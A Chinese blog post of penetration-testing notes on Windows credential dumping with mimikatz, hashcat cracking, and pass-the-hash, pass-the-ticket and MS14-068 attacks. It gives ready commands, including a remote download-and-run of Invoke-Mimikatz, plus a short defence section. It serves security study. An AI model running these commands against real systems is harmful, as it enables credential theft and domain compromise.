首页 > 系统相关 >Windows 密码抓取

Windows 密码抓取

时间:2023-05-27 11:56:16浏览次数:54  
标签:exe Hash sekurlsa Windows 抓取 密码 mimikatz

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

Windows 密码抓取

1 mimikatz 抓取密码

注:在 Windows 系统中抓取 NTLM Hash 值或明文密码,必须将权限提升到 System;lsass.exe 进程用于实现 Windows 的安全策略。

  1. 利用通过 SAM 和 System 文件获得 NTLM Hash

    gentilkiwi/mimikatz: A little tool to play with Windows security (github.com)

    # 无工具导出 SAM 文件
    reg save hklm\sam sam.hive
    reg save hklm\system system.hive
    # 使用 mimikatz 读取 SAM 和 System 文件
    mimikatz# lsadump::sam /sam:sam.hive /system:system.hive
    
    # 使用 Nishang 的 Get-PassHashes 脚本导出 Hash 值
    nishang-0.7.6\Gather> Import-Module .\Get-PassHashes.ps1
    Get-PassHashes
    
  2. 使用 mimikatz 读取本地 SAM 文件

    需要考虑 mimikatz 在目标机器上的免杀特性
    # 提权
    mimikatz# privilege::debug
    # 将权限提升至 System
    mimikatz# token::elevate
    # 读取本地 SAM 文件,获得 NTLM Hash
    mimikatz# lsadump::sam
    # 解密 HASH 值
    mimikatz# sekurlsa::logonpasswords
    

    image-20211110092817718

    image-20211110092902820

  3. 使用 mimikatz 离线读取 lsass.dmp 文件

    # 导出 lsass.dmp 文件
    找到 lsass.exe 进程,右键选择:创建转储文件
    
    # 利用 procdump 导出 lsass.dmp 文件
    procdump.exe -accepteula -ma lsass.exe lsass.dmp
    
    
  4. 使用 mimikatz 读取 lsass.dmp 文件中的密码 HASH值

    mimikatz# sekurlsa::minidump lsass.dmp
    mimikatz# sekurlsa::logonpasswords full
    
    
  5. 使用 powershell 远程加载 Mimikatz

    # 远程加载 Mimikatz 抓取 Hash 密码
    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
    
    # 本地加载 Mimikatz 抓取 Hash 密码
    Import-Module .\Invoke-Mimikatz.ps1
    Invoke-Mimikatz
    

1.1 HashCat 解密 hash 值

hashcat/hashcat: World's fastest and most advanced password recovery utility (github.com)

使用方法:

# 测试当前主机破解密码的基准速度
hashcat.exe -b

# 指定 hash 的类型
hashcat.exe -m

# 指定破解模式
hashcat.exe -a
  0 | Straight					//字典破解
  1 | Combination				//组合破解
  3 | Brute-force				//掩码暴力破解
  6 | Hybrid Wordlist + Mask
  7 | Hybrid Mask + Wordlist
  9 | Association

# 常用命令
# 使用字典模式进行破解。
hashcat -a 0 -m xx <hashfile> <dict1> <dict2>
-a 0: 以字典模式破解
-m xx:指定 <hashfile> 内的 hash 类型

# 将 1 到 6 指定为数字进行破解
hashcat.exe -m 1000 -a 3 32ed87bdb5fdc5e9cba88547376818d4 ?d?d?d?d?d?d

1.2 防范 Windows 密码抓取

  1. 在WinSer12 中新增了 Protected Users 全局安全组,将需要保护的用户放入该组,便无法使用 Mimikatz 等工具抓取 Hash 值和明文密码。

  2. 安装 KB2871997: Microsoft KB2871997的学习

    :安装 KB2871997 后,普通用户无法使用常规的 Hash 值传递攻击,但 SID 500 (Administrator)账号依然中可以进行 Hash 传递攻击。

  3. 修改注册表禁止在内存中存储明文密码

    关闭 Wdigest 功能(WinSer12 及以上版本默认关闭 Wdigest),防止用户密码在内存中以明文形式泄露。Wdigest 功能开启时,攻击者可以使用工具获取明文密码;反之,不能。

    # 开启 Wdigest 功能
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    
    # 关闭 Wdigest 功能
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
    
    # powershell 开启 Wdigest 功能
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
    
    # powershell 关闭 Wdigest 功能
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
    
  4. 将拥有 Debug 权限的本地管理员从 Administrators 组中删除:Mimikatz 在抓取 Hash 值或明文密码时,需要使用 Debug 权限。

    secpol.msc -- 安全设置 -- 本地策略 -- 用户权限分配 -- 调试程序(debug programs):可以查看只有 Administrators 组中的用户具有 Debug 权限。

2 传递攻击

2.1 NTLM hash 传递攻击

利用条件:

  1. 被pth攻击的计算机未打补丁(KB2871997)
  2. 拿到一台域成员主机并且拿到管理员组的域用户的NTML
  3. 对方主机存在相同账号并且是管理员组成员
  4. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken:默认设置为0。如果设置为1,则SID为500的管理员也不能通过网络登录的方式获取高权限。
  5. :安装 KB2871997 后,普通用户无法使用常规的 Hash 值传递攻击,但 SID 500 (Administrator)账号依然中可以进行 Hash 传递攻击。
# 在目标主机中先获取 NTLM hash 值
mimikatz.exe "privilege::debug" "sekurlsa::msv"
# 提升权限
privilege::debug
# 获取 hash
sekurlsa::msv

# 在远程主机上进行 Hash 传递攻击
mimikatz.exe "privilege::debug" sekurlsa::pth /domian:要攻击的ip /user:目标主机上的用户名 /ntlm: NTLM哈希
mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:test.lab /user:administrator /ntlm:570a9a65db8fba761c1008a51d4c95ab"

# 在弹出 cmd 窗口上,验证是否获取域控最高权限
# 查看域控制器的 C 盘,dc 为域控制器的主机名。
dir \\10.1.1.21\c$
dir \\dc\c$

2.2 AES-256 密钥传递攻击

利用条件:

  1. 目标主机上只有安装 KB2871997 ,才可以通过导入 AES-256 密钥的方式进行传递攻击。否则导入 AES-256 密钥后,会依然无法访问目标主机。
# 在目标主机中先获取 AES-256 值
mimikatz.exe "privilege::debug" "sekurlsa::ekeys"
# 获取 AES-256
sekurlsa::ekeys

# 在远程主机上进行 AES-256 密钥传递攻击
mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:test.lab /user:administrator /aes256:5e5bd89efaefe26121d8c815391d9681e41cc0c1e1d009eeddb82273e6eca152"

# dir \\dc\c$

image-20211110091526179

2.3 Ticket 传递攻击

2.3.1 利用 mimikatz 进行 Ticket 传递攻击

# 在目标主机上导出票据
# 导出内存中的 Tickets
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
# 清除内存中的 Tickets
mimikatz# kerberos::purge

# 在远程主机上将票据文件注入到内存中
.\mimikatz.exe "kerberos::ptt .\`[0;3ae4f`][email protected]"

image-20211110093506835

image-20211110094507004

2.3.2 利用 kekeo 进行 Ticket 传递攻击

gentilkiwi/kekeo: A little toolbox to play with Microsoft Kerberos in C (github.com)

kekeo使用域名,用户名,NTLM Hash 三者配合生成票据,再将票据导入,从而直接连接远程计算机。

# 生成票据
.\kekeo.exe "tgt::ask /domain:test.lab /user:Administrator /ntlm:570a9a65db8fba761c1008a51d4c95ab"

# 清除当前内存中的其他票据,否则可能会导致票据传递失败
#在 kekeo 中
kekeo # kerberos::purge
# 利用系统自带命令
klist.exe purge

# 导入票据
.\kekeo.exe "kerberos::ptt [email protected][email protected]"

image-20211110100506395

2.3.3 ms14-068.exe kerberos

MS14-068(CVE-2014-6324)域控提权利用及原理解析 - 紅人 - 博客园 (cnblogs.com)

利用条件:

  1. 域控没有打MS14-068的补丁(KB3011780)
  2. 拿下一台加入域的计算机,并拥有此计算机的域用户密码和Sid
# 获取 SID
# 如果当前用户为域用户
whoami /user
test\test02 S-1-5-21-3884001349-2725517725-626265054-1108
# 本地用户:管理员权限下用 mimikatz 抓取本地的域用户密码,域用户与SID
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

# 利用ms14-068.exe 工具生成伪造的kerberos协议认证证书
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
MS14-068.exe -u [email protected] -p Admin123 -s S-1-5-21-3884001349-2725517725-626265054-1108 -d 10.1.1.21

# 利用mimikatz.exe将证书写入,从而提升为域管理员
mimikatz.exe "kerberos::ptc [email protected]"

# 写入成功后,使用PsExec.exe以管理员权限运行连接域控
PsExec64.exe \\dc cmd.exe

2.3.4 Ticket 传递攻击特点

  1. Ticket 文件注入内存的默认有效时间为 10 小时
  2. 使用 dir 命令时,务必使用主机名,如果使用 IP 会报错
  3. 目标主机上,不需要管理员权限也可进行 Ticket 传递攻击

标签:exe,Hash,sekurlsa,Windows,抓取,密码,mimikatz
From: https://www.cnblogs.com/f-carey/p/17436512.html

相关文章

  • 23 Windows Sever 201服务器系统的安装以及远程控制的设置与使用
    老陈很久没有写个博客了,最近忽然用到了服务器,安装WindowsSever2019系统以及远程控制的设置条目挺多,想着记录一下,给有需要的人,写完了没保存,裂开,又重新写了一遍介绍共分为以下几步:一、安装Windows2019Sever系统到电脑(or服务器);二、WindowsSever2019网卡需要自己安装,电脑硬件匹配......
  • OS-双系统-Windows+Ubuntu
    OS-双系统-Windows+Ubuntu在已有的Windows10上安装Ubuntu。UbuntuImagehttps://ubuntu.com/downloadUbuntu22.04.2LTSubuntu-22.04.2-desktop-amd64.isoUbuntuInstallhttps://ubuntu.com/tutorials/install-ubuntu-desktop#1-overviewAlaptoporPCwithatlea......
  • 群晖Virtual Machine Manager(VMM)安装Windows系统卡顿
    安装Windows系统卡顿,磁盘测速异常的慢 其他人也讨论过这个问题https://www.v2ex.com/t/908671#    ......
  • Linux 或 Windows 上实现端口映射
    Linux或Windows上实现端口映射Linux就该这么学 2023-05-2708:02 发表于北京链接:https://www.cnblogs.com/connect/p/server-port-proxy.html排版:入门小站通常服务器会有许多块网卡,因此也可能会连接到不同的网络,在隔离的网络中,某些服务可能会需要进行通信,此时服......
  • windows11 安装 Rancher Desktop
    从官网下载了最新版的Rancher.Desktop.Setup.1.8.1.msi安装包,安装很顺利。但是安装完,启动时报错Thek3scacheisemptyandthereisnonetworkconnection.不明所以,网上查了,原来是github访问不了的原因,具体看这个#issue3741,大意就是网络问题,而提这个问题的哥们自己用代理......
  • 阿里云服务器Linux MySQL root 密码忘记了如何操作?
    阿里云服务器Linux MySQL root密码忘记了如何操作?假如我们使用的MySQL数据库忘记的账号密码,是能够土工调节配置文件,然后跳过密码方式登录到数据库的。然后在数据库里面修改账号和密码,通常在默认情况下账号为root具体操作步骤如下:1】编辑MySQL配置文件my.cnf【注】在具体的操作......
  • kettlle9.3 密码加解密
    kettlecmdencr.sh-kettle123kettle客户端javascript组件核心对象->新建->javascript脚本->获取变量->限制1->生成记录1//Scripthere//加密varsetValue;setValue=Packages.org.pentaho.di.core.encryption.Encr.encryptPassword('123456');javaimp......
  • windows设置jar包开机自启
    @echooff@REM------------根据端口关闭java服务------------@REM有多少服务关闭多少端口setport1=9081for/f"tokens=1-5"%%iin('netstat-ano^|findstr":%port1%"')dotaskkill/f/pid%%m&setport1=8082for/f"tokens=1-5"%%iin(......
  • Windows驱动开发学习记录-使用Inf安装过滤驱动时自动添加注册表相关内容
     做过滤驱动时一般需要在相关class驱动里添加过滤信息,即LowerFilters或者UpperFilters,比如disk类的注册表当前信息,如下图:一个常规的inf文件如下所示:;;USBFilter.inf;[Version]Signature="$WINDOWSNT$"Class=TOASTERClassGuid={B85B7C50-6A01-11d2-B841-00C04FAD517......
  • windows安装RabbitMQ及出现问题处理方法
    一、安装准备工具1.下载Eralng,下面链接已提供otp_win64_20.2.exe链接:https://pan.baidu.com/s/1lmvCMPVAV1Ba9UogCdQpZg提取码:x9m7注意:有32位版本 otp_win32_21.3.exe 根据win系统而定2.下载rabbitmq,下面链接已提供rabbitmq-server-3.7.4.exe链接:https://pan.baidu.com/s/1......